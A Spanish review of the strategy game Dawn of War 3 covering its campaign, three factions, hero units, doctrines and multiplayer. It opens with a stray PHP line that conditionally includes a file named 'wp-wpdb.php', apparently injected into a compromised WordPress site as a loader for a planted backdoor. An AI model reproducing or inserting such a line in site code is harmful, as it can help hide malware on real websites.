if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Dawn of War 3 – La Fortaleza de LeChuck

Análisis Dawn of War 3

Relic Entertainment nos dio muchas alegrías a los fans del universo de Games Workshop hace nada más y nada menos que 13 años, desde entonces se han lanzado una gran cantidad de títulos que han dotado de vida a esta saga, y a pesar del pequeño incidente de THQ en 2012, Relic, de la mano de SEGA, ha lanzado el tan esperado Dawn of War 3, un juego de estrategia en tiempo real para los aficionados al juego de mesa Warhammer 40.000.

El componente narrativo ha mejorado notablemente en comparación a lo visto anteriormente, hay varias cinemáticas que nos presentan los hechos importantes y antes y después de cada misión habrá un momento en el que los protagonistas se comunicarán con sus jefes y aliados para poner al jugador en situación dentro de la historia, y por si te has perdido algo existe la posibilidad de repetirlo para que no se te escape nada y entiendas las motivaciones de cada raza.

La historia nos pone en la piel de 3 protagonistas, por un lado tenemos al ya conocido Gabriel Angelos que sigue en su cruzada por limpiar el nombre de los Cuervos Sangrientos, por otro tenemos a Gorgutz, un Orko en megaarmadura que pretende liderar un ¡Waaagh! a pesar de ser el segundo al mando de un caudillo mucho mayor, de momento, y por último está Macha, la vidente Eldar que busca recuperar el orden y control dentro de este sistema.

La campaña consta de un gran número de misiones, en todas ellas iremos rotando de protagonista para aprender a usar las 3 razas en una gran variedad de situaciones y de forma más natural, tal y como pasaba en las anteriores entregas la campaña tiene un papel secundario dentro de lo que es la jugabilidad del título, se podría decir que las primeras misiones actúan más como tutorial que como misiones en sí, hay que remarcar que todas estas misiones son muy variadas y no se hacen nada aburridas, la curva de dificultad va aumentando conforme vayamos completando objetivos dentro de la campaña, y si completamos el 100% de los objetivos obtendremos recompensas que nos servirán para el modo multijugador.

Por desgracia el juego cuenta con sólo 3 de las decenas de facciones que hay dentro del universo de warhammer 40.000, esto se puede ver como un aspecto un tanto negativo ya que da menos opciones al jugador, a pesar de que cada facción esté muy bien nivelada es muy común repetir enemigo, y miedo me da pensar si lo han hecho para añadirte más facciones a modo de DLC en un futuro sólo para el modo multijugador, en cualquier caso el juego se siente escaso en cuanto a variedad de razas.

En lo que a jugabilidad se refiere el juego combina un poco lo mejor que cada título lanzado con anterioridad, las construcciones de estructuras y edificios han vuelto así como los puntos de conquista con ciertas mejoras para adaptarse al nuevo estilo de juego, los héroes y las unidades de élite tienen ahora un papel muy importante, podremos elegir 3 antes de cada partida y conforme vaya avanzando iremos obteniendo puntos de poder que podremos usar para invocar estas unidades de forma permanente y poder usarlas con total libertad.

Hay nuevas mecánicas dentro de cada facción, los marines espaciales pueden usar cápsulas de desembarco para desplegar en cualquier momento ciertas unidades que hayamos creado en reserva, algo muy útil si necesitamos ayuda en un sitio lejos del grueso del ejército, los Orkos se valen de la chatarra que van dejando los edificios y unidades destruidas para mejorar sus unidades de manera significativa, muy acorde a su personalidad, los Eldars en cambio, tienen varias habilidades de teletransporte que bien usadas te pueden mover medio campamento y ejército en un visto y no visto.

Aunque por el camino se han dejado ciertas características que hacían tan buenos los anteriores títulos, el tan buen sistema de coberturas que tenía el juego ha desaparecido, en su lugar habrá un par de puntos en todo el mapa que darán cobertura al bando que la controle, el sistema de supresión también se ha quedado como un recuerdo por lo que ahora las unidades centradas en el fuego rápido ya no tienen tanta importancia como antes.

El multijugador es posiblemente el modo que más horas de juego nos va a brindar, tenemos 3 tipos de juego clásicos, 1v1, 2v2 y 3v3, estos enfrentamientos podremos hacerlos contra otros jugadores mediante online o si queremos entrenar podremos fijar la IA como rival. Antes de cada partida tendremos tres decisiones importantes que hacer, elegir la raza con la que queremos jugar, escoger los héroes o las unidades de élite que queremos invocar durante la partida, y por último, elegir las doctrinas de combate, estas doctrinas establecen el tipo de ejercito con el que vas a jugar, cada una de ellas da una mejora a ciertos tipos de unidades o habilidades potenciándolas y dejando de lado otras opciones, al haber una gran variedad es difícil que ninguna se acabe adaptando a tu modo de juego.

Uno de los cambios que a mí personalmente no me convence mucho son los toques de MOBA que le han dado a los mapas, anteriormente había que derrotar a todas las tropas y destruir los edificios para ganar, se te podía escapar un constructor y remontarte la partida, pero ahí estaba el encanto de este sistema, ahora en cambio hay que destruir varios puntos cerca del campamento para poder así destruir las torres de defensa y con esto el núcleo del enemigo, ya puedes tener el mayor ejército de la galaxia que si te petan el núcleo has perdido, y eso obliga a los jugadores a ser demasiado defensivos hasta que controlen bien el juego.

Sí que es cierto que realmente esto no afecta en gran medida a la jugabilidad ya que al final es otro edificio más que hay que destruir, las batallas siguen siendo tan encarnizadas e interesantes como siempre, más ahora que hay muchas especializaciones y unidades dentro de cada facción, pero ese toque sigue estando ahí, y al ser los mapas como son no hay muchas posibilidades de retirarte a instalarte en otro sitio una vez has perdido estos edificios.

Para que las partidas no se hagan eternas, se ha incluido un modo de escalada de recursos en el que conforme vaya pasando el tiempo se irán duplicando o triplicando los recursos que iremos obteniendo de cualquier fuente, este detalle tan simple ameniza mucho las partidas ya que las batallas empiezan a escalar de forma significativa hasta que uno de los bandos acaba por tomar un mayor control de la partida. En todo lo demás es muy similar a lo que ya nos tiene acostumbrados esta saga, y sinceramente, para mi es el mayor atractivo de este juego.

Como fan acérrimo de este gran universo he de decir que estoy gratamente sorprendido con el juego, sí que es cierto que se siente un poco vacío por la escasez de razas y que a pesar de todas las mejoras y cambios el juego no llega a superar al gran Soulstrom, pero aún y todo me gusta especialmente que hayan vuelto a las batallas encarnizadas del primer título, ya que en el DOW2 el multijugador tenía muy poco atractivo al ser batallas con muy pocas unidades.
El mayor problema que le veo es que al haber dejado solo lo esencial dentro de la jugabilidad hay muchas mecánicas interesantes que se quedan a un lado y le quitan algo de personalidad al juego, aunque no todo es malo, el nuevo sistema de héroes y unidades de élite te da una gran cantidad de opciones jugables muy interesantes ya que estas se pueden invocar todas las veces que uno quiera o más bien pueda, y todas estas opciones acaban por tomar un gran peso dentro de cada partida.

Además el equipo ya ha comentado que va a estar pendiente del meta para equilibrar lo mejor posible las razas y que nadie pueda abusar de combos indestructibles como pasaba en otras entregas, y esto es algo muy interesante cara al multijugador. En general es un juego frenético y bastante entretenido que si bien no es el mejor de su género se hace notar, y sobre todo se hace disfrutar, que a fin de cuentas, es lo más importante.

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